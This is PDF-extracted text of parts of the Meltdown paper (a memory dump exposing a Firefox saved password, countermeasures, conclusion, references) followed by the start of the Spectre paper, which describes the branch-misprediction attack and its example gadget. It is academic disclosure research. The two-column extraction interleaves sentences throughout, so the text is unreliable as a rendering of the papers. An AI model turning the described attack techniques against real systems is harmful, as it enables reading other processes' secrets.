shal- f94b7760: 61 5f 30 32 30 33 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |a_0203..........| f94b7770: 70 52 18 7d 28 7f XX XX XX XX XX XX XX XX XX XX |pR.}(...........| low out-of-order execution pipeline could tip the race f94b7780: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| f94b7790: XX XX XX XX 54 XX XX XX XX XX XX XX XX XX XX XX |....T...........| condition towards against the data leakage. Similarly, f94b77a0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| f94b77b0: XX XX XX XX XX XX XX XX XX XX XX XX 73 65 63 72 |............secr| if the processor lacks certain features, e.g., no re-order f94b77c0: 65 74 70 77 64 30 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |etpwd0..........| f94b77d0: 30 b4 18 7d 28 7f XX XX XX XX XX XX XX XX XX XX |0..}(...........| buffer, our current implementation might not be able to f94b77e0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| f94b77f0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| leak data. However, for both ARM and AMD, the toy f94b7800: e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |................| f94b7810: 68 74 74 70 73 3a 2f 2f 61 64 64 6f 6e 73 2e 63 |https://addons.c| example as described in Section 3 works reliably, indi- f94b7820: 64 6e 2e 6d 6f 7a 69 6c 6c 61 2e 6e 65 74 2f 75 |dn.mozilla.net/u| f94b7830: 73 65 72 2d 6d 65 64 69 61 2f 61 64 64 6f 6e 5f |ser-media/addon_| cating that out-of-order execution generally occurs and f94b7840: 69 63 6f 6e 73 2f 33 35 34 2f 33 35 34 33 39 39 |icons/354/354399| f94b7850: 2d 36 34 2e 70 6e 67 3f 6d 6f 64 69 66 69 65 64 |-64.png?modified| instructions past illegal memory accesses are also per- f94b7860: 3d 31 34 35 32 32 34 34 38 31 35 XX XX XX XX XX |=1452244815.....| formed. Listing 4: Memory dump of Firefox 56 on Ubuntu 16.10 on a Intel Core i7-6700K disclosing saved passwords (cf. Figure 6). 7 Countermeasures In this section, we discuss countermeasures against the Meltdown attack. At first, as the issue is rooted in the hardware itself, we want to discuss possible microcode updates and general changes in the hardware design. 13 Second, we want to discuss the KAISER countermeasure 7.2 KAISER that has been developed to mitigate side-channel attacks against KASLR which inadvertently also protects against As hardware is not as easy to patch, there is a need for Meltdown. software workarounds until new hardware can be de- ployed. Gruss et al. [8] proposed KAISER, a kernel mod- ification to not have the kernel mapped in the user space. This modification was intended to prevent side-channel attacks breaking KASLR [13, 9, 17]. However, it also 7.1 Hardware prevents Meltdown, as it ensures that there is no valid mapping to kernel space or physical memory available Meltdown bypasses the hardware-enforced isolation of in user space. KAISER will be available in the upcom- security domains. There is no software vulnerability in- ing releases of the Linux kernel under the name kernel volved in Meltdown. Hence any software patch (e.g., page-table isolation (KPTI) [25]. The patch will also KAISER [8]) will leave small amounts of memory ex- be backported to older Linux kernel versions. A simi- posed (cf. Section 7.2). There is no documentation lar patch was also introduced in Microsoft Windows 10 whether such a fix requires the development of com- Build 17035 [15]. Also, Mac OS X and iOS have similar pletely new hardware, or can be fixed using a microcode features [22]. update. Although KAISER provides basic protection against Meltdown, it still has some limitations. Due to the design As Meltdown exploits out-of-order execution, a triv- of the x86 architecture, several privileged memory loca- ial countermeasure would be to completely disable out- tions are required to be mapped in user space [8]. This of-order execution. However, the performance impacts leaves a residual attack surface for Meltdown, i.e., these would be devastating, as the parallelism of modern CPUs memory locations can still be read from user space. Even could not be leveraged anymore. Thus, this is not a vi- though these memory locations do not contain any se- able solution. crets, such as credentials, they might still contain point- Meltdown is some form of race condition between the ers. Leaking one pointer can be enough to again break fetch of a memory address and the corresponding per- KASLR, as the randomization can be calculated from the mission check for this address. Serializing the permis- pointer value. sion check and the register fetch can prevent Meltdown, Still, KAISER is the best short-time solution currently as the memory address is never fetched if the permission available and should therefore be deployed on all sys- check fails. However, this involves a significant overhead tems immediately. Even with Meltdown, KAISER can to every memory fetch, as the memory fetch has to stall avoid having any kernel pointers on memory locations until the permission check is completed. that are mapped in the user space which would leak in- A more realistic solution would be to introduce a hard formation about the randomized offsets. This would re- split of user space and kernel space. This could be en- quire trampoline locations for every kernel pointer, i.e., abled optionally by modern kernels using a new hard- the interrupt handler would not call into kernel code di- split bit in a CPU control register, e.g., CR4. If the hard- rectly, but through a trampoline function. The trampo- split bit is set, the kernel has to reside in the upper half line function must only be mapped in the kernel. It must of the address space, and the user space has to reside in be randomized with a different offset than the remaining the lower half of the address space. With this hard split, kernel. Consequently, an attacker can only leak pointers a memory fetch can immediately identify whether such a to the trampoline code, but not the randomized offsets of fetch of the destination would violate a security bound- the remaining kernel. Such trampoline code is required ary, as the privilege level can be directly derived from for every kernel memory that still has to be mapped in the virtual address without any further lookups. We ex- user space and contains kernel addresses. This approach pect the performance impacts of such a solution to be is a trade-off between performance and security which minimal. Furthermore, the backwards compatibility is has to be assessed in future work. ensured, since the hard-split bit is not set by default and the kernel only sets it if it supports the hard-split feature. 8 Discussion Note that these countermeasures only prevent Melt- down, and not the class of Spectre attacks described by Meltdown fundamentally changes our perspective on the Kocher et al. [19]. Likewise, several countermeasures security of hardware optimizations that manipulate the presented by Kocher et al. [19] have no effect on Melt- state of microarchitectural elements. The fact that hard- down. We stress that it is important to deploy counter- ware optimizations can change the state of microar- measures against both attacks. chitectural elements, and thereby imperil secure soft- 14 ware implementations, is known since more than 20 that Meltdown and Spectre open a new field of research years [20]. Both industry and the scientific community to investigate in what extent performance optimizations so far accepted this as a necessary evil for efficient com- change the microarchitectural state, how this state can be puting. Today it is considered a bug when a crypto- translated into an architectural state, and how such at- graphic algorithm is not protected against the microar- tacks can be prevented. chitectural leakage introduced by the hardware optimiza- tions. Meltdown changes the situation entirely. Melt- down shifts the granularity from a comparably low spa- tial and temporal granularity, e.g., 64-bytes every few 9 Conclusion hundred cycles for cache attacks, to an arbitrary granu- larity, allowing an attacker to read every single bit. This In this paper, we presented Meltdown, a novel software- is nothing any (cryptographic) algorithm can protect it- based side-channel attack exploiting out-of-order execu- self against. KAISER is a short-term software fix, but the tion on modern processors to read arbitrary kernel- and problem we uncovered is much more significant. physical-memory locations from an unprivileged user We expect several more performance optimizations in space program. Without requiring any software vulner- modern CPUs which affect the microarchitectural state ability and independent of the operating system, Melt- in some way, not even necessarily through the cache. down enables an adversary to read sensitive data of other Thus, hardware which is designed to provide certain se- processes or virtual machines in the cloud with up to curity guarantees, e.g., CPUs running untrusted code, re- 503 KB/s, affecting millions of devices. We showed that quire a redesign to avoid Meltdown- and Spectre-like at- the countermeasure KAISER [8], originally proposed to tacks. Meltdown also shows that even error-free soft- protect from side-channel attacks against KASLR, in- ware, which is explicitly written to thwart side-channel advertently impedes Meltdown as well. We stress that attacks, is not secure if the design of the underlying hard- KAISER needs to be deployed on every operating sys- ware is not taken into account. tem as a short-term workaround, until Meltdown is fixed With the integration of KAISER into all major oper- in hardware, to prevent large-scale exploitation of Melt- ating systems, an important step has already been done down. to prevent Meltdown. KAISER is also the first step of a paradigm change in operating systems. Instead of al- ways mapping everything into the address space, map- ping only the minimally required memory locations ap- Acknowledgment pears to be a first step in reducing the attack surface. However, it might not be enough, and an even stronger isolation may be required. In this case, we can trade flex- We would like to thank Anders Fogh for fruitful dis- ibility for performance and security, by e.g., forcing a cussions at BlackHat USA 2016 and BlackHat Europe certain virtual memory layout for every operating sys- 2016, which ultimately led to the discovery of Meltdown. tem. As most modern operating system already use basi- Fogh [5] already suspected that it might be possible to cally the same memory layout, this might be a promising abuse speculative execution in order to read kernel mem- approach. ory in user mode but his experiments were not success- ful. We would also like to thank Jann Horn for comments Meltdown also heavily affects cloud providers, espe- on an early draft. Jann disclosed the issue to Intel in cially if the guests are not fully virtualized. For per- June. The subsequent activity around the KAISER patch formance reasons, many hosting or cloud providers do was the reason we started investigating this issue. Fur- not have an abstraction layer for virtual memory. In thermore, we would like Intel, ARM, Qualcomm, and such environments, which typically use containers, such Microsoft for feedback on an early draft. as Docker or OpenVZ, the kernel is shared among all guests. Thus, the isolation between guests can simply be We would also like to thank Intel for awarding us with circumvented with Meltdown, fully exposing the data of a bug bounty for the responsible disclosure process, and all other guests on the same host. For these providers, their professional handling of this issue through commu- changing their infrastructure to full virtualization or us- nicating a clear timeline and connecting all involved re- ing software workarounds such as KAISER would both searchers. Furthermore, we would also thank ARM for increase the costs significantly. their fast response upon disclosing the issue. Even if Meltdown is fixed, Spectre [19] will remain This work was supported in part by the European an issue. Spectre [19] and Meltdown need different de- Research Council (ERC) under the European Union’s fenses. Specifically mitigating only one of them will Horizon 2020 research and innovation programme (grant leave the security of the entire system at risk. We expect agreement No 681402). 15 References [22] LEVIN, J. Mac OS X and IOS Internals: To the Apple’s Core. John Wiley & Sons, 2012. [1] BENGER, N., VAN DE POL, J., SMART, N. P., AND YAROM, Y. [23] LIPP, M., GRUSS, D., SPREITZER, R., MAURICE, C., AND “Ooh Aah... Just a Little Bit”: A small amount of side channel MANGARD, S. ARMageddon: Cache Attacks on Mobile De- can go a long way. In CHES’14 (2014). vices. In USENIX Security Symposium (2016). [2] CHENG, C.-C. The schemes and performances of dynamic [24] LIU, F., YAROM, Y., GE, Q., HEISER, G., AND LEE, R. B. branch predictors. Berkeley Wireless Research Center, Tech. Rep Last-Level Cache Side-Channel Attacks are Practical. In IEEE (2000). Symposium on Security and Privacy – SP (2015), IEEE Computer [3] DEVIES, A. M. AMD Takes Computing to a New Horizon with Society, pp. 605–622. RyzenTMProcessors, 2016. [25] LWN. The current state of kernel page-table isolation, Dec. 2017. [4] EDGE, J. Kernel address space layout randomization, 2013. [26] MAURICE, C., WEBER, M., SCHWARZ, M., GINER, L., [5] FOGH, A. Negative Result: Reading Kernel Memory From User GRUSS, D., ALBERTO BOANO, C., MANGARD, S., AND Mode, 2017. RÖMER, K. Hello from the Other Side: SSH over Robust Cache Covert Channels in the Cloud. In NDSS (2017). [6] GRAS, B., RAZAVI, K., BOSMAN, E., BOS, H., AND GIUF- FRIDA, C. ASLR on the Line: Practical Cache Attacks on the [27] MOLNAR, I. x86: Enable KASLR by default, 2017. MMU. In NDSS (2017). [28] OSVIK, D. A., SHAMIR, A., AND TROMER, E. Cache Attacks [7] GRUSS, D., LETTNER, J., SCHUSTER, F., OHRIMENKO, O., and Countermeasures: the Case of AES. In CT-RSA (2006). HALLER, I., AND COSTA, M. Strong and Efficient Cache Side- [29] PERCIVAL, C. Cache missing for fun and profit. In Proceedings Channel Protection using Hardware Transactional Memory. In of BSDCan (2005). USENIX Security Symposium (2017). [30] PHORONIX. Linux 4.12 To Enable KASLR By Default, 2017. [8] GRUSS, D., LIPP, M., SCHWARZ, M., FELLNER, R., MAU- [31] SCHWARZ, M., LIPP, M., GRUSS, D., WEISER, S., MAURICE, RICE, C., AND MANGARD, S. KASLR is Dead: Long Live C., SPREITZER, R., AND MANGARD, S. KeyDrown: Eliminat- KASLR. In International Symposium on Engineering Secure ing Software-Based Keystroke Timing Side-Channel Attacks. In Software and Systems (2017), Springer, pp. 161–176. NDSS’18 (2018). [9] GRUSS, D., MAURICE, C., FOGH, A., LIPP, M., AND MAN- [32] TERAN, E., WANG, Z., AND JIMÉNEZ, D. A. Perceptron learn- GARD, S. Prefetch Side-Channel Attacks: Bypassing SMAP and ing for reuse prediction. In Microarchitecture (MICRO), 2016 Kernel ASLR. In CCS (2016). 49th Annual IEEE/ACM International Symposium on (2016), [10] GRUSS, D., MAURICE, C., WAGNER, K., AND MANGARD, IEEE, pp. 1–12. S. Flush+Flush: A Fast and Stealthy Cache Attack. In DIMVA [33] TOMASULO, R. M. An efficient algorithm for exploiting multi- (2016). ple arithmetic units. IBM Journal of research and Development [11] GRUSS, D., SPREITZER, R., AND MANGARD, S. Cache 11, 1 (1967), 25–33. Template Attacks: Automating Attacks on Inclusive Last-Level [34] VINTAN, L. N., AND IRIDON, M. Towards a high performance Caches. In USENIX Security Symposium (2015). neural branch predictor. In Neural Networks, 1999. IJCNN’99. [12] HENNESSY, J. L., AND PATTERSON, D. A. Computer architec- International Joint Conference on (1999), vol. 2, IEEE, pp. 868– ture: a quantitative approach. Elsevier, 2011. 873. [13] HUND, R., WILLEMS, C., AND HOLZ, T. Practical Timing Side [35] YAROM, Y., AND FALKNER, K. Flush+Reload: a High Reso- Channel Attacks against Kernel Space ASLR. In S&P (2013). lution, Low Noise, L3 Cache Side-Channel Attack. In USENIX Security Symposium (2014). [14] INTEL. Intel⃝R 64 and IA-32 Architectures Optimization Refer- ence Manual, 2014. [36] YEH, T.-Y., AND PATT, Y. N. Two-level adaptive training branch prediction. In Proceedings of the 24th annual interna- [15] IONESCU, A. Windows 17035 Kernel ASLR/VA Isolation In tional symposium on Microarchitecture (1991), ACM, pp. 51–61. Practice (like Linux KAISER)., 2017. [37] ZHANG, Y., JUELS, A., REITER, M. K., AND RISTENPART, T. [16] IRAZOQUI, G., INCI, M. S., EISENBARTH, T., AND SUNAR, B. Cross-Tenant Side-Channel Attacks in PaaS Clouds. In CCS’14 Wait a minute! A fast, Cross-VM attack on AES. In RAID’14 (2014). (2014). [17] JANG, Y., LEE, S., AND KIM, T. Breaking Kernel Address Space Layout Randomization with Intel TSX. In CCS (2016). [18] JIMÉNEZ, D. A., AND LIN, C. Dynamic branch prediction with perceptrons. In High-Performance Computer Architecture, 2001. HPCA. The Seventh International Symposium on (2001), IEEE, pp. 197–206. [19] KOCHER, P., GENKIN, D., GRUSS, D., HAAS, W., HAMBURG, M., LIPP, M., MANGARD, S., PRESCHER, T., SCHWARZ, M., AND YAROM, Y. Spectre Attacks: Exploiting Speculative Exe- cution. [20] KOCHER, P. C. Timing Attacks on Implementations of Diffe- Hellman, RSA, DSS, and Other Systems. In CRYPTO (1996). [21] LEE, B., MALISHEVSKY, A., BECK, D., SCHMID, A., AND LANDRY, E. Dynamic branch prediction. Oregon State Univer- sity. 16 Spectre Attacks: Exploiting Speculative Execution∗ Paul Kocher1, Daniel Genkin2, Daniel Gruss3, Werner Haas4, Mike Hamburg5, Moritz Lipp3, Stefan Mangard3, Thomas Prescher4, Michael Schwarz3, Yuval Yarom6 1 Independent 2 University of Pennsylvania and University of Maryland 3 Graz University of Technology 4 Cyberus Technology 5 Rambus, Cryptography Research Division 6 University of Adelaide and Data61 Abstract 1 Introduction Modern processors use branch prediction and specula- tive execution to maximize performance. For example, if Computations performed by physical devices often leave the destination of a branch depends on a memory value observable side effects beyond the computation’s nom- that is in the process of being read, CPUs will try guess inal outputs. Side channel attacks focus on exploit- the destination and attempt to execute ahead. When the ing these side effects in order to extract otherwise- memory value finally arrives, the CPU either discards or unavailable secret information. Since their introduction commits the speculative computation. Speculative logic in the late 90’s [25], many physical effects such as power is unfaithful in how it executes, can access to the victim’s consumption [23, 24], electromagnetic radiation [31], or memory and registers, and can perform operations with acoustic noise [17] have been leveraged to extract cryp- measurable side effects. tographic keys as well as other secrets. Spectre attacks involve inducing a victim to specula- While physical side channel attacks can be used to tively perform operations that would not occur during extract secret information from complex devices such correct program execution and which leak the victim’s as PCs and mobile phones [15, 16], these devices face confidential information via a side channel to the adver- additional threats that do not require external measure- sary. This paper describes practical attacks that combine ment equipment because they execute code from po- methodology from side channel attacks, fault attacks, tentially unknown origins. While some software-based and return-oriented programming that can read arbitrary attacks exploit software vulnerabilities (such as buffer memory from the victim’s process. More broadly, the overflow or use-after-free vulnerabilities ) other soft- paper shows that speculative execution implementations ware attacks leverage hardware vulnerabilities in order violate the security assumptions underpinning numerous to leak sensitive information. Attacks of the latter type software security mechanisms, including operating sys- include microarchitectural attacks exploiting cache tim- tem process separation, static analysis, containerization, ing [9, 30, 29, 35, 21, 36, 28], branch prediction his- just-in-time (JIT) compilation, and countermeasures to tory [7, 6], or Branch Target Buffers [26, 11]). Software- cache timing/side-channel attacks. These attacks repre- based techniques have also been used to mount fault at- sent a serious threat to actual systems, since vulnerable tacks that alter physical memory [22] or internal CPU speculative execution capabilities are found in micropro- values [34]. cessors from Intel, AMD, and ARM that are used in bil- Speculative execution is a technique used by high- lions of devices. speed processors in order to increase performance by While makeshift processor-specific countermeasures guessing likely future execution paths and prematurely are possible in some cases, sound solutions will require executing the instructions in them. For example when fixes to processor designs as well as updates to instruc- the program’s control flow depends on an uncached value tion set architectures (ISAs) to give hardware architects located in the physical memory, it may take several and software developers a common understanding as to hundred clock cycles before the value becomes known. what computation state CPU implementations are (and Rather than wasting these cycles by idling, the processor are not) permitted to leak. guesses the direction of control flow, saves a checkpoint ∗ of its register state, and proceeds to speculatively executeAfter reporting the results here, we were informed that our work partly overlaps the results of independent work done at Google’s the program on the guessed path. When the value even- Project Zero. tually arrives from memory the processor checks the cor- 1 rectness of its initial guess. If the guess was wrong, the data exfiltration via microarchitectural covert channels. processor discards the (incorrect) speculative execution More specifically, in order to mount a Spectre attack, by reverting the register state back to the stored check- an attacker starts by locating a sequence of instructions point, resulting in performance comparable to idling. In within the process address space which when executed case the guess was correct, however, the speculative ex- acts as a covert channel transmitter which leaks the vic- ecution results are committed, yielding a significant per- tim’s memory or register contents. The attacker then formance gain as useful work was accomplished during tricks the CPU into speculatively and erroneously exe- the delay. cuting this instruction sequence, thereby leaking the vic- From a security perspective, speculative execution in- tim’s information over the covert channel. Finally, the at- volves executing a program in possibly incorrect ways. tacker retrieves the victim’s information over the covert However, as processors are designed to revert the results channel. While the changes to the nominal CPU state of an incorrect speculative execution on their prior state resulting from this erroneous speculative execution are to maintain correctness, these errors were previously as- eventually reverted, changes to other microarchitectural sumed not to have any security implications. parts of the CPU (such as cache contents) can survive nominal state reversion. 1.1 Our Results The above description of Spectre attacks is general, and needs to be concretely instantiated with a way Exploiting Speculative Execution. In this paper, we to induce erroneous speculative execution as well as show a new class of microarchitectural attacks which we with a microarchitectural covert channel. While many call Spectre attacks. At a high level, Spectre attacks trick choices are possible for the covert channel compo- the processor into speculatively executing instructions nent, the implementations described in this work use a sequences that should not have executed during correct cache-based covert channel using Flush+Reload [37] or program execution. As the effects of these instructions Evict+Reload [28] techniques. on the nominal CPU state will be eventually reverted, we We now proceed to describe our techniques for induc- call them transient instructions. By carefully choosing ing and influencing erroneous speculative execution. which transient instructions are speculatively executed, Exploiting Conditional Branches. To exploit condi- we are able to leak information from within the victim’s tional branches, the attacker needs the branch predictor memory address space. to mispredict the direction of the branch, then the pro- We empirically demonstrate the feasibility of Spectre cessor must speculatively execute code that would not be attacks by using transient instruction sequences in order otherwise executed which leaks the information sought to leak information across security domains. by the attacker. Here is an example of exploitable code: Attacks using Native Code. We created a simple vic- if (x < array1_size) tim program that contains secret data within its memory y = array2[array1[x] * 256]; access space. Next, after compiling the victim program we searched the resulting binary and the operating sys- In this example, the variable x contains attacker- tem’s shared libraries for instruction sequences that can controlled data. The if statement compiles to a branch be used to leak information from the victim’s address instruction, whose purpose is to verify that the value space. Finally, we wrote an attacker program that ex- of x is within a legal range, ensuring that the access to ploits the CPU’s speculative execution feature in order to array1 is valid. execute the previously-found sequences as transient in- For the exploit, the attacker first invokes the relevant structions. Using this technique we were able to read the code with valid inputs, training the branch predictor to entire victim’s memory address space, including the se- expect that the if will be true. The attacker then invokes crets stored within it. the code with a value of x outside the bounds of array1 Attacks using JavaScript. In addition to violating pro- and with array1 size uncached. The CPU guesses cess isolation boundaries using native code, Spectre at- that the bounds check will be true, the speculatively exe- tacks can also be used to violate browser sandboxing, by cutes the read from array2[array1[x] * 256] using mounting them via portable JavaScript code. We wrote a the malicious x. The read from array2 loads data into JavaScript program that successfully reads data from the the cache at an address that is dependent on array1[x] address space of the browser process running it. using the malicious x. The change in the cache state is not reverted when the processor realizes that the specu- 1.2 Our Techniques lative execution was erroneous, and can be detected by the adversary to find a byte of the victim’s memory. By At a high level, a Spectre attack violates memory isola- repeating with different values of x, this construct can be tion boundaries by combining speculative execution with exploited to read the victim’s memory. 2 Exploiting Indirect Branches. Drawing from return- others. The Spectre family of attacks is documented un- oriented programming (ROP) [33], in this method the at- der CVE-2017-5753 and CVE-2017-5715. tacker chooses a gadget from the address space of the victim and influences the victim to execute the gadget 1.4 Meltdown speculatively. Unlike ROP, the attacker does not rely on a vulnerability in the victim code. Instead, the attacker Meltdown [27] is a related microarchitectural attack trains the Branch Target Buffer (BTB) to mispredict a which exploits out-of-order execution in order to leak branch from an indirect branch instruction to the address the target’s physical memory. Meltdown is distinct from of the gadget, resulting in a speculative execution of the Spectre Attacks in two main ways. First, unlike Spectre, gadget. While the speculatively executed instructions are Meltdown does not use branch prediction for achieving abandoned, their effects on the cache are not reverted. speculative execution. Instead, it relies on the observa- These effects can be used by the gadget to leak sensitive tion that when an instruction causes a trap, following in- information. We show how, with a careful selection of a structions that were executed out-of-order are aborted. gadget, this method can be used to read arbitrary memory Second, Meltdown exploits a privilege escalation vulner- from the victim. ability specific to Intel processors, due to which specula- To mistrain the BTB, the attacker finds the virtual ad- tively executed instructions can bypass memory protec- dress of the gadget in the victim’s address space, then tion. Combining these issues, Meltdown accesses kernel performs indirect branches to this address. This training memory from user space. This access causes a trap, but is done from the attacker’s address space, and it does not before the trap is issued, the code that follows the ac- matter what resides at the gadget address in the attacker’s cess leaks the contents of the accessed memory through address space; all that is required is that the branch used a cache channel. for training branches to use the same destination virtual Unlike Meltdown, the Spectre attack works on non- address. (In fact, as long as the attacker handles excep- Intel processors, including AMD and ARM processors. tions, the attack can work even if there is no code mapped Furthermore, the KAISER patch [19], which has been at the virtual address of the gadget in the attacker’s ad- widely applied as a mitigation to the Meltdown attack, dress space.) There is also no need for a complete match does not protect against Spectre. of the source address of the branch used for training and the address of the targetted branch. Thus, the attacker 2 Background has significant flexibility in setting up the training. Other Variants. Further attacks can be designed by In this section we describe some of the microarchitec- varying both the method of achieving speculative execu- tural components of modern high-speed processors, how tion and the method used to leak the information. Exam- they improve the performance, and how they can leak ples of the former include mistraining return instructions information from running programs. We also describe or return from interrupts. Examples of the latter include return-oriented-programming (ROP) and ‘gadgets’. leaking information through timing variations or by gen- erating contention on arithmetic units. 2.1 Out-of-order Execution An out-of-order execution paradigm increases the uti- 1.3 Targeted Hardware and Current Sta- lization of the processor’s components by allowing in- tus structions further down the instruction stream of a pro- gram to be executed in parallel with, and sometimes be- Hardware. We have empirically verified the vulnera- fore, preceding instructions. bility of several Intel processors to Spectre attacks, in- The processor queues completed instructions in the re- cluding Ivy Bridge, Haswell and Skylake based proces- order buffer. Instructions in the reorder buffer are retired sors. We have also verified the attack’s applicability in the program execution order, i.e., an instruction is only to AMD Ryzen CPUs. Finally, we have also success- retired when all preceding instructions have been com- fully mounted Spectre attacks on several Samsung and pleted and retired. Qualcomm processors (which use an ARM architecture) Only upon retirement, the results of the retired instruc- found in popular mobile phones. tions are committed and made visible externally. Current Status. Using the practice of responsible dis- closure, we have disclosed a preliminary version of our 2.2 Speculative Execution results to Intel, AMD, ARM, Qualcomm as well as to other CPU vendors. We have also contacted other com- Often, the processor does not know the future instruction panies including Amazon, Apple, Microsoft, Google and stream of a program. For example, this occurs when out- 3 of-order execution reaches a conditional branch instruc- data is retrieved from the L1 cache and used. Otherwise, tion whose direction depends on preceding instructions in a cache miss, the procedure is repeated to retrieve the whose execution has not completed yet. In such cases, data from the next cache level. Additionally, the data is the processor can make save a checkpoint containing its stored in the L1 cache, in case it is needed again in the current register state, make a prediction as to the path near future. Modern Intel processors typically have three that the program will follow, and speculatively execute cache levels, with each core having dedicated L1 and L2 instructions along the path. If the prediction turns out to caches and all cores sharing a common L3 cache, also be correct, the checkpoint is not needed and instructions known as the Last-Level Cache (LLC). are retired in the program execution order. Otherwise, when the processor determines that it followed the wrong 2.5 Microarchitectural Side-Channel At- path, it abandons all pending instructions along the path by reloading its state from the checkpoint and execution tacks resumes along the correct path. All of the microarchitectural components we discuss Abandoning instructions is performed so that changes above improve the processor performance by predicting made by instructions outside the program execution path future program behavior. To that aim, they maintain state are not made visible to the program. Hence, the specula- that depends on past program behavior and assume that tive execution maintains the logical state of the program future behavior is similar to or related to past behavior. as if execution followed the correct path. When multiple programs execute on the same hard- ware, either concurrently or via time sharing, changes 2.3 Branch Prediction in the microarchitectural state caused by the behavior of one program may affect other programs. This, in turn, Speculative execution requires that the processor make may result in unintended information leaks from one pro- guesses as to the likely outcome of branch instructions. gram to another [13]. Past works have demonstrated at- Better predictions improve performance by increasing tacks that leak information through the BTB [26, 11], the number of speculatively executed operations that can branch history [7, 6], and caches [29, 30, 35, 21]. be successfully committed. In this work we use the Flush+Reload technique [21, Several processor components are used for predict- 36] and its variant, Evict+Reload [20] for leaking sensi- ing the outcome of branches. The Branch Target Buffer tive information. Using these techniques, the attacker be- (BTB) keeps a mapping from addresses of recently ex- gins by evicting from the cache a cache line shared with ecuted branch instructions to destination addresses [26]. the victim. After the victim executes for a while, the at- Processors can uses the BTB to predict future code ad- tacker measures the time it takes to perform a memory dresses even before decoding the branch instructions. read at the address corresponding to the evicted cache Evtyushkin et al. [11] analyze the BTB of a Intel Haswell line. If the victim accessed the monitored cache line, processor and conclude that only the 30 least significant the data will be in the cache and the access will be fast. bits of the branch address are used to index the BTB. Our Otherwise, if the victim has not accessed the line, the experiments on show similar results but that only 20 bits read will be slow. Hence, by measuring the access time, are required. the attacker learns whether the victim accessed the mon- For conditional branches, recording the target address itored cache line between the eviction and probing steps. is not sufficient for predicting the outcome of the branch. The main difference between the two techniques is the To predict whether a conditional branch is taken or not, mechanism used for evicting the monitored cache line the processor maintains a record of recent branches out- from the cache. In the Flush+Reload technique, the at- comes. Bhattacharya et al. [10] analyze the structure of tacker uses a dedicated machine instruction, e.g., x86’s branch history prediction in recent Intel processors. clflush, to evict the line. In Evict+Reload, eviction is achieved by forcing contention on the cache set that 2.4 The Memory Hierarchy stores the line, e.g., by accessing other memory locations which get bought into the cache and (due to the limited To bridge the speed gap between the faster processor and size of the cache) cause the processor to discard the evict the slower memory, processors use a hierarchy of suc- the line that is subsequently probed. cessively smaller but faster caches. The caches divide the memory into fixed-size chunks called lines, with typ- 2.6 Return-Oriented Programming ical line sizes being 64 or 128 bytes. When the processor needs data from memory, it first checks if the L1 cache, Return-Oriented Programming (ROP) [33] is a technique at the top of the hierarchy, contains a copy. In the case for exploiting buffer overflow vulnerabilities. The tech- of a cache hit, when the data is found in the cache, the nique works by chaining machine code snippets, called 4 gadgets that are found in the code of the vulnerable vic- from memory addresses in the cache lines being moni- tim. More specifically, the attacker first finds usable gad- tored. gets in the victim binary. She then uses a buffer overflow Spectre attacks only assume that speculatively exe- vulnerability to write a sequence of addresses of gadgets cuted instructions can read from memory that the victim into the victim program stack. Each gadget performs process could access normally, e.g., without triggering a some computation before executing a return instruction. page fault or exception. For example, if a processor pre- The return instruction takes the return address from the vents speculative execution of instructions in user pro- stack, and because the attacker control this address, the cesses from accessing kernel memory, the attack will still return instruction effectively jumping into the next gad- work. [12]. As a result, Spectre is orthogonal to Melt- get in the chain. down [27] which exploits scenarios where some CPUs allow out-of-order execution of user instructions to read kernel memory. 3 Attack Overview 4 Exploiting Conditional Branch Mispre- Spectre attacks induce a victim to speculatively perform diction operations that would not occur during correct program execution and which leak the victim’s confidential infor- Consider the case where the code in Listing 1 is part mation via a side channel to the adversary. We first de- of a function (such as a kernel syscall or cryptographic scribe variants that leverage conditional branch mispre- library) that receives an unsigned integer x from an dictions (Section 4), then variants that leverage mispre- untrusted source. The process running the code has diction of the targets of indirect branches (Section 5). access to an array of unsigned bytes array1 of size In most cases, the attack begins with a setup phase, array1 size, and a second byte array array2 of size where the adversary performs operations that mistrain 64KB. the processor so that it will later make an exploitably erroneous speculative prediction. In addition, the setup if (x < array1_size) y = array2[array1[x] * 256]; phase usually includes steps to that help induce spec- ulative execution, such as performing targeted memory Listing 1: Conditional Branch Example reads that cause the processor to evict from its cache a The code fragment begins with a bounds check on x value that is required to determine the destination of a which is essential for security. In particular, this check branching instruction. During the setup phase, the ad- prevents the processor from reading sensitive memory versary can also prepare the side channel that will be outside of array1. Otherwise, an out-of-bounds input used for extracting the victim’s information, e.g. by per- x could trigger an exception or could cause the processor forming the flush or evict portion of a flush+reload or to access sensitive memory by supplying x= (address of evict+reload attack. a secret byte to read)− (base address of array1). During the second phase, the processor speculatively Unfortunately, during speculative execution, the con- executes instruction(s) that transfer confidential informa- ditional branch for the bounds check can follow the in- tion from the victim context into a microarchitectural correct path. For example, suppose an adversary causes side channel. This may be triggered by having the at- the code to run such that: tacker request that the victim to perform an action (e.g., via a syscall, socket, file, etc.). In other cases, the at- • the value of x is maliciously chosen (and out-of- tacker’s may leverage the speculative (mis-)execution of bounds) such that array1[x] resolves to a secret its own code in order to obtain sensitive information from byte k somewhere in the victim’s memory; the same process (e.g., if the attack code is sandboxed by an interpreter, just-in-time compiler, or ‘safe’ language • array1 size and array2 are not present in the pro- and wishes to read memory it is not supposed to access). cessor’s cache, but k is cached; and While speculative execution can potentially expose sen- • previous operations received values of x that were sitive data via a broad range of side channels, the exam- valid, leading the branch predictor to assume the if ples given cause speculative execution to read memory will likely be true. value at an attacker-chosen address then perform a mem- ory operation that modifies the cache state in a way that This cache configuration can occur naturally or can be exposes the value. created by an adversary, e.g., by simply reading a large For the final phase, the sensitive data is recovered. For amount of memory to fill the cache with unrelated val- Spectre attacks using flush+reload or evict+reload, the ues, then having the kernel use the secret key in a le- recovery process consists of timing how long reads take gitimate operation. If the cache structure is known [38] 5 or if the CPU provides a cache flush instruction (e.g., support speculative execution [2], and initial testing has the x86 clflush instruction) then the cache state can be confirmed that ARM processors are impacted as well. achieved even more efficiently. Speculative execution can proceed far ahead of the When the compiled code above runs, the processor main processor. For example, on an i7 Surface Pro 3 begins by comparing the malicious value of x against (i7-4650U) used for most of the testing, the code in Ap- array1 size. Reading array1 size results 